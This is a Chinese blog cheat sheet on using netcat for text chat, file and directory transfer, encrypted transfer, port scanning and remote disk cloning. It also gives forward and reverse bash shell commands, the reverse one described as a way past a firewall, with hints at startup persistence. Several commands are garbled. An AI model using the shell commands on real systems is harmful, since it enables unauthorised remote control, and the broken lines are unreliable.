如何使用NC进行通信

使用nc进行通信 传输文本信息
A:nc -l -p 4444(接收端)
B:nc -nv 1.1.1.1 4444 (发送端)

可以用于 电子取证的nc侦听
在这里插入图片描述

侦听导出重定向的文件:
A: nc -l -p 4444 > ps.txt(接收端)
B: ps aux | nc -nv 1.1.1.1 4444 -q 1 (发送端)
在这里插入图片描述
传输文件:
A: nc -lp 333 > 2.mp4 (接收端)
B: nc -nv 1.1.1.1 333 < a.mp4 (发送端)

等别人来下载
A: nc -lp 333 < 2.mp4 -q 1 (发送端)
B: nc -nv 1.1.1.1 444 > 2.mp4 (接收端)

传输目录
A: tar -cvf music/ | nv -lp 333 -q 1 (发送端)
B: nc -nv 1.1.1.1 333 | tar -xvf –

加密传文件
A: nc -lp 333 | mcrypt –flush -Fbqd -a rijn dael-256 -m ecb > 1.mp4 (接收端)
B: mcrypt -flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
(发送端)

NC 端口扫描
nc -nvz 1.1.1.1 1-65535
nc -vnzu 1.1.1.1 1-1024

NC 远程克隆硬盘
A: nc -lp 333 | dd of = /dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

NC bash命令控制 (正向)
A: nc -lp 333 -c bash (被控制端)
B: nc -nv 1.1.1.1 333 (控制端)

NC bash命令控制 (反向) (过防火墙)
A: nc -lp 333 (控制端)
B: nc -nv 1.1.1.1 333 -c bash (被控制端)

(在windows下,把bash改成cmd)
/etc/init.d
update -rc.d

NC NCAT (实操失败,ncat安装问题)(这个是有加密的,嗅探不到)
nc缺乏加密和身份验证的能力
ncat包含于nmap工具包中
A: ncat nact -c bash --allow 1.1.1.1 -vnl 333 –ssl
B: ncat -nv 1.1.1.1 333 –ssl
不同系统/平台的nc参数功能不尽相同

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值